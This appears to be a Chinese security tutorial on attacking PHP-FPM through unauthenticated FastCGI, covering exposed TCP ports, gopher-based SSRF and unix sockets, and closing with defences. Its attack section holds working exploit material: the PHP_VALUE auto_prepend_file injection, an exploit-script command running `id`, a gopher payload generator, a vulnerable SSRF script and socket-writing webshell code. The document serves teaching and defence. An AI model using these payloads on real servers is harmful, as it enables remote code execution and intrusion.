浅析php-fpm的攻击方式
字数 1618 2025-08-26 22:11:51
PHP-FPM攻击方式深入分析与实践指南
0x1 前言
PHP-FPM(FastCGI Process Manager)是PHP的FastCGI实现,提供了进程管理功能。本文将从基础概念到实际攻击方法,全面剖析PHP-FPM的各种攻击方式,包括未授权访问攻击、SSRF攻击以及Unix套接字攻击等。
0x2 PHP-FPM基础概念
0x2.1 PHP-FPM定义与架构
PHP-FPM是FastCGI进程管理器,用于替换PHP FastCGI的大部分附加功能,对高负载网站非常有用。它包含:
- 1个master进程:负责监听端口(默认9000),接收Web服务器请求
- 多个worker进程:每个进程内嵌PHP解释器,实际执行PHP代码
0x2.2 工作流程
- 用户访问
www.example.com - Nginx路由到
index.php - Nginx加载fast-cgi模块
- fast-cgi连接127.0.0.1:9000
- PHP-FPM监听9000端口并处理请求
- PHP-FPM返回结果给Nginx
- Nginx通过HTTP返回给浏览器
0x2.3 FastCGI与CGI的区别
- CGI:每个请求fork一个进程,请求结束后kill,效率低
- FastCGI:保留进程处理多个请求,减少fork开销,效率高
0x3 PHP-FPM安装与配置
0x3.1 源代码编译安装
./configure --enable-fpm \
--with-fpm-user=www-data \
--with-fpm-group=www-data \
--with-fpm-systemd \
--with-fpm-acl
0x3.2 命令行安装(Ubuntu)
sudo apt update
sudo apt install -y nginx
sudo apt install -y software-properties-common
sudo add-apt-repository -y ppa:ondrej/php
sudo apt update
sudo apt install -y php7.3-fpm
0x3.3 通信模式配置
TCP模式配置
- 修改Nginx配置:
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass 127.0.0.1:9000;
}
- 修改PHP-FPM配置(
/etc/php/7.3/fpm/pool.d/www.conf):
listen = 127.0.0.1:9000
Unix Socket模式配置
- 修改Nginx配置:
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
- 修改PHP-FPM配置:
listen = /run/php/php7.3-fpm.sock
0x3.4 Docker快速搭建
version: '2'
services:
php:
image: php:fpm
ports:
- "9000:9000"
0x4 PHP-FPM攻击原理
0x4.1 漏洞本质
PHP-FPM设计缺陷:Nginx与PHP-FPM通信缺乏身份验证机制,攻击者可伪造FastCGI协议数据包直接与PHP-FPM交互。
0x4.2 FastCGI协议结构
typedef struct {
unsigned char version; // 版本
unsigned char type; // 记录类型
unsigned char requestIdB1; // 请求ID高8位
unsigned char requestIdB0; // 请求ID低8位
unsigned char contentLengthB1; // 内容长度高8位
unsigned char contentLengthB0; // 内容长度低8位
unsigned char paddingLength; // 填充长度
unsigned char reserved; // 保留位
unsigned char contentData[contentLength]; // 内容数据
unsigned char paddingData[paddingLength]; // 填充数据
} FCGI_Record;
0x4.3 关键环境变量
通过设置以下环境变量实现代码执行:
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
0x4.4 安全限制
PHP 5.3.9+引入了security.limit_extensions,默认只允许执行.php等后缀文件:
security.limit_extensions = .php .php3 .php4 .php5 .php7
0x5 攻击方式详解
0x5.1 远程攻击TCP模式PHP-FPM
条件:PHP-FPM监听在0.0.0.0:9000而非127.0.0.1:9000
利用脚本:
python fpm.py -c '<?php echo `id`;exit;?>' 目标IP /var/www/html/phpinfo.php
0x5.2 SSRF攻击本地PHP-FPM(TCP模式)
利用步骤:
- 生成Gopher payload:
request_ssrf = urlparse.quote(client.request(params, content))
print("gopher://127.0.0.1:9000/_" + request_ssrf)
- 通过SSRF漏洞发送payload:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
- 访问URL:
http://victim/ssrf.php?url=gopher://127.0.0.1:9000/_[编码后的payload]
0x5.3 攻击Unix套接字模式PHP-FPM
条件:需要已有webshell或文件上传漏洞
利用代码:
<?php
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>
0x6 防御措施
- 限制PHP-FPM监听地址为127.0.0.1
- 设置适当的
security.limit_extensions - 使用Unix Socket而非TCP连接
- 配置Nginx与PHP-FPM间的访问控制
- 定期更新PHP版本
0x7 总结
PHP-FPM攻击主要利用其与Web服务器间通信缺乏验证的缺陷,通过伪造FastCGI协议实现任意代码执行。攻击方式包括直接攻击暴露的PHP-FPM服务、通过SSRF间接攻击本地PHP-FPM服务,以及在特定条件下攻击Unix Socket模式的PHP-FPM服务。防御关键在于限制服务暴露和加强访问控制。
0x8 参考资源
- Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
- PHP 连接方式&攻击PHP-FPM&*CTF echohub WP
- Nginx+Php-fpm 运行原理详解
- PHP 进阶之路 - 深入理解 FastCGI 协议以及在 PHP 中的实现
- PHP FastCGI 的远程利用